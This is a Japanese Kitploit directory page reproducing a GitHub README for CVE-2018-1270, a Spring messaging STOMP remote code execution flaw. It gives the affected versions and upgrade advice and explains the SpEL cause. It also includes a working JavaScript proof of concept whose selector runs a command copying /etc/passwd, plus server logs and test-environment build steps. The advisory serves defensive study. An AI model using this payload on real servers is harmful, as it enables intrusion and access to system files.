Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/caledoniaproject/cve-2018-1270
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育Archived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

Spring メッセージング STOMP プロトコル RCE

リポジトリを見る
113188年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-1270 - Spring messaging Spel 代码执行漏洞

昨日、Spring で1つのRCE脆弱性が公開されました。詳細は以下をご覧ください:

  • CVE-2018-1270: Remote Code Execution with spring-messaging

影響バージョン

  • Spring Framework 5.0 ~ 5.0.4
  • Spring Framework 4.3 ~ 4.3.14

この脆弱性は環境に依存しません。spring-messaging + websocket + STOMP を使用している場合は、速やかに最新バージョンにアップグレードしてください。SpringBoot を使用している場合は、2.0.1.RELEASE にアップグレードしてください。

脆弱性の詳細

簡単に言うと、StandardEvaluationContext の権限が大きすぎるため、任意の SpEL 式を実行できてしまいます。そのため、公式は Spring 5.0.5 以降で SimpleEvaluationContext を追加し、シンプルなデータバインディングを実現しつつ、柔軟性を維持しながらセキュリティ上のリスクをもたらさないようにしました。

spring-messaging は STOMP プロトコルをサポートしており、クライアントがメッセージをサブスクライブし、selector を使ってメッセージをフィルタリングできます。例:

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

サブスクライブ時に、Spring はこのフィルターを保存し、クライアントがメッセージを受信した際にトリガーします。例:

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

PoC スクリーンショット

screenshot

具体的な脆弱性の分析記事は後ほど公開します。

環境の使い方

Spring Boot サーバーをコンパイルして起動します。

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

アクセス - 式を入力してテストします。

root@kitploit:~
http://localhost:8080

screenshot

ツールをダウンロード